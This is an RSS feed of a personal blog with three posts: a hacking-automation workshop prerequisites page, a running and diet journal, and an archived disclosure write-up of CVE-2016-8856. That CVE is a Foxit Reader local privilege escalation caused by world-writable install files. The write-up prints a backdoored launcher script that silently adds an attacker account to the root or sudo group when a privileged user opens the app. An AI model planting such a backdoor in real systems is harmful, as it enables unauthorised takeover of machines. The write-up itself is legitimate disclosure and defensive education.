<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Rahul’s Personal Blog]]></title><description><![CDATA[My personal website!]]></description><link>https://c0d.ist</link><image><url>https://c0d.ist/img/substack.png</url><title>Rahul’s Personal Blog</title><link>https://c0d.ist</link></image><generator>Substack</generator><lastBuildDate>Tue, 07 Apr 2026 21:11:50 GMT</lastBuildDate><atom:link href="https://c0d.ist/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Rahul Binjve]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[c0dist@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[c0dist@substack.com]]></itunes:email><itunes:name><![CDATA[Rahul Binjve]]></itunes:name></itunes:owner><itunes:author><![CDATA[Rahul Binjve]]></itunes:author><googleplay:owner><![CDATA[c0dist@substack.com]]></googleplay:owner><googleplay:email><![CDATA[c0dist@substack.com]]></googleplay:email><googleplay:author><![CDATA[Rahul Binjve]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[For Seasides Hacking Automation Workshop Attendees]]></title><description><![CDATA[Page for hosting resources related to the workshop!]]></description><link>https://c0d.ist/p/seasides-hacking-automation-workshop</link><guid isPermaLink="false">https://c0d.ist/p/seasides-hacking-automation-workshop</guid><dc:creator><![CDATA[Rahul Binjve]]></dc:creator><pubDate>Mon, 17 Feb 2025 16:28:01 GMT</pubDate><content:encoded><![CDATA[<p>The page contains resources related to the workshop/training that I will be conducting at the Seasides conference on 20th February, 2025. The workshop is titled <strong>Automate Your Hacking: Zero to Hero</strong>, and more details can be found here - <a href="https://seasides.net/automate-your-hacking-zero-to-hero/">https://seasides.net/automate-your-hacking-zero-to-hero/</a>.</p><p></p><h2>Prerequisites</h2><p>If you are one of the attendees, and you want to follow along (I highly recommend this), then please ensure either of the following prerequisites are met.</p><h3>Bare Minimum</h3><p>At the very least, please ensure that you have access to either <strong>Ubuntu 22.04 or newer</strong>. This could be installed on your laptop, in some cloud environment or as a VM. Also the laptop should be able to connect to your mobile hotspot as well for download dependencies, libraries, tools, code snippets, etc. The link to the repository containing the code used during the workshop will be shared at the start of the workshop.</p><h3>Best Case</h3><p>Following is the list of requirements that would make it much easier to follow along and also would limit the dependency on the Internet by a lot.</p><ul><li><p>You have <strong>Ubuntu 22.04 or newer</strong> installed in a hypervisor like VirtualBox, VMWare, etc. The virtual machine should have at least 4 GB RAM and 2 CPU cores for smoother experience. You should also have admin rights on this VM.</p></li><li><p>Your system has Python 3.8 or newer and <strong><a href="https://pip.pypa.io/en/stable/installation/">Pip</a></strong> installed.</p></li><li><p>You have access to any Terminal application and Bash shell.</p></li><li><p>You have Nmap installed: <strong>apt-get install nmap</strong>.</p></li><li><p>You have setup a <strong><a href="https://packaging.python.org/en/latest/guides/installing-using-pip-and-virtual-environments/#create-and-use-virtual-environments">virtual environment</a></strong><a href="https://packaging.python.org/en/latest/guides/installing-using-pip-and-virtual-environments/#create-and-use-virtual-environments"> for your Python packages</a>. </p></li><li><p>You have following Python packages installed:</p><ul><li><p><strong>requests</strong></p></li><li><p><strong>python-nmap</strong></p></li><li><p><strong>selenium</strong></p></li><li><p><strong>Flask</strong> (for intentionally vulnerable app)</p></li><li><p><strong>dnspython</strong></p></li><li><p><strong>PyYAML</strong></p></li><li><p><strong>boto3</strong></p></li><li><p><strong>dpkt</strong></p></li><li><p><strong>paramiko</strong></p></li></ul></li><li><p>You have <strong><a href="https://docs.projectdiscovery.io/tools/nuclei/install">Nuclei installed</a></strong>.</p></li><li><p>You have <strong><a href="https://yara.readthedocs.io/en/stable/gettingstarted.html#compiling-yara">Yara</a></strong> and <strong><a href="https://pypi.org/project/yara-python/">Yara-Python</a></strong> installed.</p></li></ul><p></p><p>See you at the Seasides!</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://c0d.ist/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Rahul&#8217;s Personal Blog! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[90 Days of Running!]]></title><description><![CDATA[Getting healthier, one step at a time (literally)!]]></description><link>https://c0d.ist/p/90-days-of-running</link><guid isPermaLink="false">https://c0d.ist/p/90-days-of-running</guid><dc:creator><![CDATA[Rahul Binjve]]></dc:creator><pubDate>Mon, 01 Apr 2024 09:05:55 GMT</pubDate><content:encoded><![CDATA[<p></p><p><strong>TL;DR</strong>: I recently picked up walking/jogging and improved my eating habits to get healthier. This blog below is a journal of my ~3 months/90 days journey. You can directly jump to <strong><a href="https://c0dist.substack.com/i/142712606/some-tips">Tips</a></strong> sections below, if you want to skip all that.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://c0d.ist/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Rahul&#8217;s Personal Blog! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><h3>Background</h3><p>For a long long time, I considered myself athletic and agile. In my mind, at least. But in past few years, other priorities took over the life and I let my health become a second priority. And that&#8217;s how I found myself by December 2023, all of <strong>94 KGs</strong> and feeling the bodyweight slowing me down. For the first time in my life, I realised I am getting obese and did not like what I was becoming. I was looking for ways to get back in shape and be healthier overall, however, the plan kept shifting due to one thing or another.</p><h3>The Challenge</h3><p>During one fortunate day in December 2023, I was discussing with my friend that we need to go out, work out, lose weight, etc etc. Upon which he told me that he needs to get new shoes which is what&#8217;s stopping him from going out. I suggested that he should not let this be a reason for not running. Just start walking/running in basic shoes once and he should keep aside a certain amount for every month he has run. Once he has enough funds, he can upgrade the shoes, if he needed those. And that was how another friend chimed in and we came up with the idea of creating a health challenge. The terms of the challenge were pretty simple: </p><ul><li><p>We will start a monthly challenge from January 1, 2024 till June 30, 2024.</p></li><li><p>Every participant would be added to a Strava group and would need to log their walk/jog/run activities as proof.</p></li><li><p>Every participant needs to complete <strong>at least 60 KMs in a month</strong>.</p></li><li><p>Whichever participant fails to complete the challenge, they would need to pay certain pre-decided amount to rest of the successful participants, divided equally.</p></li></ul><p>Somehow. a lot of my colleagues/friends connected with the idea. We were able to convince a few more and by January 1, we had 18 people willing to take on the challenge. We created a challenge on Strava and <strong>as of now, there are 21 people who have started working out regularly, as compared to none at all previously.</strong></p><p>I have tried picking up gym/workouts/running multiple times before, but never could quite stick to the regimen. However, once I started this challenge, I knew I had to do it. You can say the reason is something else, be it may competitiveness, peer/social pressure, etc. But what&#8217;s important is that it got me into the habit of running. Because <strong>if not now, then when</strong>?</p><h3>The Process</h3><h4><strong>December 2023</strong></h4><ul><li><p>Didn&#8217;t decide on a date, just wore my shoes and went out for my first walk on 12 December 2023. 30-35 minutes of brisk walking.</p></li><li><p>Walked <strong>my first 5K</strong> on 21 December 2023, finished in <strong>~53 minutes</strong>.</p></li><li><p>Didn&#8217;t want to make too many changes so started with walking in evening after office since I wasn&#8217;t used to waking up early. Started with small changes.</p></li><li><p>December last week was on vacation so only ended up walking 30 kms.</p></li><li><p>Started to watch I was eating, avoided junk and processed food wherever possible.</p></li><li><p><strong>KMs Walked</strong>: 30 / <strong>Weight Lost</strong>: ~1 KG / <strong>Workout Days:</strong> 9 out of 31</p></li></ul><h4><strong>January 2024</strong></h4><ul><li><p>Started walking and eating healthy seriously.</p></li><li><p>Ensured I was working out at least <strong>35-40 minutes, 6 days a week</strong>.</p></li><li><p><strong>Completed 2 5Ks</strong>. Improved my timing to <strong>45 minutes</strong> at Pune Soldierathon.</p></li><li><p>Had 2 trips for work and wedding, but maintained my streak of regularly walking.</p></li><li><p>Walked <strong>10 kms in a single workout</strong> to finish another Strava challenge.</p></li><li><p>Started watching the nutrients I was having in my meals. Increased <strong>protein intake</strong> and made sure to <strong>include salad/vegetables in daily diet</strong>.</p></li><li><p><strong>KMs Walked</strong>: 130 / <strong>Weight Lost</strong>: ~2 KGs / <strong>Workout Days:</strong> 26 out of 31</p></li></ul><h4><strong>February 2024</strong></h4><ul><li><p>Shifted workout timing to morning, now that I was used to regularly walking,</p></li><li><p>For first 2 weeks, I was walking 2 times in a day. Realised that I was probably overdoing it, causing more hard than good.</p></li><li><p>Ran another <strong>5K</strong>, completing in 44 minutes this time.</p></li><li><p>To increase running duration and distance, started with the <strong>Couch to 5K</strong> program.</p></li><li><p><strong>Increased jogging frequency</strong> now that I was comfortable with walking daily.</p></li><li><p>Focused on maintaining <strong>calorie deficit</strong> (burning more calories compared to what I was consuming).</p></li><li><p>Started following <strong>Intermittent Fasting</strong>. Most days, I tried to follow 14:10 approach, meaning 14 hours of fasting followed by 10-hours window of eating. </p></li><li><p>To see how what I was eating was affecting my blood sugar, I wore <strong>Continuous Glucose Monitoring (CGM)</strong> sensor by Ultrahuman. This gave me good insights into what food items are my Kryptonite.</p></li><li><p><strong>KMs Walked</strong>: 150 / <strong>Weight Lost</strong>: ~2 KGs / <strong>Workout Days:</strong> 24 out of 29</p></li></ul><h4><strong>March 2024</strong></h4><ul><li><p>Most consistent month. Worked out at least 40 minutes, every single day in March.</p></li><li><p>Ran my <strong>first 10K</strong>, completing in 88 minutes. <strong>5K</strong> during the same run was in 43 minutes.</p></li><li><p>While I worked out every day, ensured that I was doing <strong>low intensity workouts on my rest days</strong>. Rest days are important.</p></li><li><p><strong>Trekked to Vasota fort</strong> with friends, a very good test of endurance.</p></li><li><p>Started strength training at home with body weight and dumbbell workouts.</p></li><li><p>Struggled a bit on diet front, trying to control the cravings. Had more cheat days than I would ideally want to.</p></li><li><p><strong>KMs Walked</strong>: 141 / <strong>Weight Lost</strong>: ~2.5 KG / <strong>Workout Days:</strong> 31 out of 31</p></li></ul><h3>Running Gear</h3><p>During these 3 months, I used the following:</p><ul><li><p><a href="https://www.ajio.com/nike-men-logo-print-regular-fit-running-shorts/p/469564412001">Nike Running Shorts</a> - Highly recommended, very comfortable.</p></li><li><p><a href="https://www.nike.com/in/t/pegasus-trail-4-gore-tex-waterproof-trail-running-shoes-pQ2Pzs/DJ7926-008">Nike Pegasus Trail 4 GORE-TEX</a> - These were my original daily training shoes, ran close to 300 kms in these. However, due to some issue they were causing pain in right feet when running. Discovered the flaw only after I started running.</p></li><li><p><a href="https://www.flipkart.com/adidas-4dfwd-pulse-m-running-shoes-men/p/itm7bebc09e35f77">Adidas 4DFWD Pulse</a> - A friend got it for a very good discount from Dubai. These are my current daily trainers but due to some interior manufacturing defect, they are causing constant shoe-bites. Ran close to 150 kms in these but now using as cricket shoes.</p></li><li><p><strong><a href="https://www.myntra.com/26139316">Nike Invincible Run 3</a></strong> - Recently upgraded to these for daily training.</p></li></ul><h3>Some Tips</h3><ul><li><p><strong>Just Do It</strong>: Tomorrow, next Monday, next month, next week never comes. Do not wait for a decided date to start some good habit. Just remember that <strong>the hardest thing is to get out of the bed, rest everything is easy</strong>.</p></li><li><p><strong>Start Out Small</strong>: One of the worst mistake you can do while starting to work out and/or eat healthy is going all out from day one. If you change too many things too fast, you body might resist and you would probably give up with negative experience in your mind. For example, if you are not used to waking up early, start with walking in evenings and slowly shift to morning once you are used to it. If you feel walking 5 KMs is too much, start with 2-3 KMs and progress from there.</p></li><li><p><strong>Discipline And Consistency</strong>: Most important thing is to be disciplined enough to go out everyday. Make it part of your <strong>daily habits</strong> and ensure that you are following through the commitment.</p></li><li><p><strong>Invest In Good Shoes</strong>: Do your own research and invest in some good running shoes. Your body will thank you for it. No need to go overboard and buy Nike Alphafly/Vaporfly, just something decent should work at the start. You can always upgrade once you are a regular, just don&#8217;t let it be the reason you are not going out. Similarly, <strong>do not cheap out</strong>. Some good shoes available in India - <a href="https://www.adidas.co.in/duramo-10-shoes/GW8342.html">Adidas Duramo 10</a>, <a href="https://www.tatacliq.com/asics-mens-gt-1000-12-carrier-grey-running-shoes/p-mp000000020844541">Asics GT 1000</a>, <a href="https://www.ajio.com/nike-air-zoom-pegasus-40-running-shoes/p/469473277_blackgrey">Nike Pegasus 40</a>, <a href="https://www.ajio.com/adidas-ultraboost-23-running-shoes/p/469329217_black">Adidas Ultraboost</a>, <a href="https://www.tatacliq.com/asics-mens-gel-kayano-30-waterscape-blue-running-shoes/p-mp000000020843993">Asics Gel Kayano 30</a> / <a href="https://www.tatacliq.com/asics-mens-gel-nimbus-26-french-blue-running-shoes/p-mp000000020844451">Gel Nimbus 26</a>, <a href="https://www.myntra.com/26139316">Nike Invincible Run 3</a>, etc,. Might write a new post in future to share good shoes and deals available in India.</p></li><li><p><strong>Read Before You Eat</strong>: Get into the habit of reading the ingredients list and nutrient chart before you eat. Brown bread might just mean brown in colour and not free of all-purpose flour/maida. Similarly, sugar-free does not always mean healthy, it could be more harmful depending on the substitute used.</p></li><li><p><strong>You Can&#8217;t Out-train Bad Diet</strong>: Read about how you can <strong>improve your eating habits</strong> and focus on following <strong>sustainable habits</strong>. Whatever changes you make to your diet need to be something you can sustain for long time.</p></li><li><p><strong>If You Can&#8217;t Measure It, You Can&#8217;t Improve It</strong>: Use a smartwatch/phone to measure whatever metrics you want to improve on. It could be weight, daily exercise minutes, resting heart rate, minutes per kilometre, VO2Max, steps you walked, etc. This would help you track the progress and you can <strong>gamify your habits</strong>.</p></li><li><p><strong>Don&#8217;t Get Too Obsessed With Numbers</strong>: Contrary to above advice, also don&#8217;t think too much about the numbers. Do not go overboard while tracking things and do not feel too much disappointed if the metrics are not moving at the pace you expected. There would be days when you might see no improvements or you might even slip away, it&#8217;s alright. Maintain discipline and take things <strong>one day at a time</strong>.</p></li><li><p><strong>Make It a Habit to Go Out Everyday</strong>: Once you start walking/working out, make sure that you are consistent. Your intensity can vary, but ensure that you are working out regularly. Walk for 10 minutes even, but ensure that you are consistent and making a habit out of it.</p></li><li><p><strong>Power of Partners</strong>: Find yourself a few friends/colleagues/partners-in-crime/communities/groups to take on the challenge with and you&#8217;ll notice that this gets easier. On days when you won&#8217;t feel like getting out of the bed, a message from someone else might just be the motivation you need.</p></li><li><p><strong>Be Kind to Yourself</strong>: Whatever you are trying to achieve, please make sure to be kind to yourself. Also, when you achieve the goals you set for yourself, do not forget to <strong>reward yourself</strong>. Getting healthy is a long-term commitment and it might take some time for you to see the progress. Don&#8217;t let it demotivate you. Listen to your body; if it asking you take some rest, do it.</p></li></ul><p></p><p>That&#8217;s all, folks! I will be back with a shorter update, maybe in another month.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://c0d.ist/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Rahul&#8217;s Personal Blog! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[[Archive] CVE-2016-8856: Foxit Reader for Linux and Mac: Local Privilege Escalation Writeup]]></title><description><![CDATA[Originally published on: 20 October 2016]]></description><link>https://c0d.ist/p/cve-2016-8856-foxit-reader-for-linux</link><guid isPermaLink="false">https://c0d.ist/p/cve-2016-8856-foxit-reader-for-linux</guid><dc:creator><![CDATA[Rahul Binjve]]></dc:creator><pubDate>Thu, 28 Mar 2024 11:14:17 GMT</pubDate><content:encoded><![CDATA[<p><strong>Originally published on: 20 October 2016</strong></p><p><strong>TL;DR</strong>: I found a local privilege escalation bug in Foxit Reader for Mac and Linux. Random find, had to run <em>ls -la</em> to find this. The issue has been assigned <strong>CVE-2016-8856</strong>.</p><h3>Introduction</h3><p>Recently, I stumbled on a very simple bug in Foxit Reader for Mac and Linux (From here on, just Foxit Reader). The vulnerability was caused by improper file permissions granted on core Foxit Reader's files on Linux and Mac systems. An attacker with a low privilege access could've exploited this vulnerability to elevate their privileges, execute commands as a higher privileged user, or both.</p><p>The version affected were:</p><ul><li><p>Foxit Reader for Mac 2.1.0.0804 and earlier</p></li><li><p>Foxit Reader for Linux 2.1.0.0805 and earlier</p></li></ul><p>Fixed version has been released and security bulletin is published here - <a href="https://web.archive.org/web/20180218210726/https://www.foxitsoftware.com/support/security-bulletins.php">https://www.foxitsoftware.com/support/security-bulletins.php</a>.</p><h3>About the Bug</h3><p>The issue is caused by the way Foxit Reader installs itself on the Linux/Mac machine. At the time of installation, user is given a choice of where they want to install Foxit. The default locations for installation are:</p><ul><li><p>On Linux</p><ul><li><p>sudo or root user - <strong>/opt/</strong></p></li><li><p>normal user - <strong>~/opt/</strong></p></li></ul></li><li><p>On Mac</p><ul><li><p><strong>/Applications/Foxit Reader.app/</strong></p></li></ul></li></ul><p>The issue exists in file permissions assigned to the installed files. The installer assigns "rwxrwxrwx" or 0777 permission to most of the files in the installation folder. In these files, the more important ones are:</p><ul><li><p><strong>FoxitReader.sh</strong> and <strong>updater.sh</strong> on Linux (tested on Debian 8 Jessie)</p></li><li><p><strong>FoxitReader</strong> and <strong>updater.app/Contents/MacOS/updater</strong> on OS X (tested on Yosemite)</p></li></ul><p>These files are used to launch Foxit Reader and update it, respectively. Since, these files are world-writable, any logged in user with limited privileges can write to these files. After that, whenever a privileged user will open the Foxit Reader application, attacker's custom code would run.</p><h4>Reproduction/ Exploit Example</h4><p>The steps described below show how the vulnerability could be exploited on a Linux-based OS. We have tested this on Debian 8.</p><ol><li><p>Search for Foxit reader installation in the system. If not found on above mentioned default locations, you can use following command to search it in system:</p></li></ol><pre><code><code>find / -iname foxit\* 2&gt; /dev/null  
</code></code></pre><p>2. Go to installation folder, generally <em>foxitsoftware/foxitreader/</em>.<br>3. Open <em>FoxitReader.sh</em> and replace the content with this:</p><pre><code><code>#!/bin/bash
 appname="FoxitReader"
 selfpath="/opt/foxitsoftware/foxitreader"
 LD_LIBRARY_PATH=$selfpath/lib:$selfpath/platforms:$selfpath/printsupport:$selfpath/rmssdk:$selfpath/sensors:$selfpath/imageformats:$selfpath/platforminputcontexts:$LD_LIBRARY_PATH
 export LD_LIBRARY_PATH

# Backdoor starts from here
 if [ "$(id | grep root | wc -l)" == 1 ]
then  
    adduser temp root
elif [ "$(groups | grep sudo | wc -l)" == 1 ]  
then  
    gksudo -- bash -c 'foxit_command_which_does_not_exist_but_hides_our_original_command 2&gt; /dev/null; sudo adduser temp sudo;'
fi  
# Backdoor ends
 exec "$selfpath/$appname" "$@"
</code></code></pre><p>4. Wait for root/sudo user to open Foxit Reader.<br>5. ???<br>6. Profit.</p><h4>CVSS</h4><p>CVSS v3 Base Score: 7.8 High<br>Vector: <a href="https://web.archive.org/web/20180218210726/https://nvd.nist.gov/cvss/v3-calculator?name=CVE-2016-8856&amp;vector=AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></p><h4>Timeline</h4><p>18-09-2016 Vendor notified about the bug.<br>19-09-2016 Vendor replies they are looking into the issue.<br>28-09-2016 Vendor confirms and fixes the bug.<br>18-10-2016 New version with fix released. Applied for CVE.<br>19-10-2016 CVE-2016-8856 assigned to the vulnerability.</p><h3>Takeaway</h3><p>Always make sure that files on your system only have the required permissions. Don't be that guy who chmod's 777 on every file. Another issue is files with SUID/SGID bit on them, but that is a topic for another day/blog post.</p><p>Also, to search for world writeable files on your system, run the following command:</p><pre><code><code>find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print  
</code></code></pre><p><a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/">Source</a> &lt;- Excellent source for Linux privilege escalation basic.</p><p>Kudos to Foxit's Security Team for prompt acknowledgement and fix.</p>]]></content:encoded></item></channel></rss>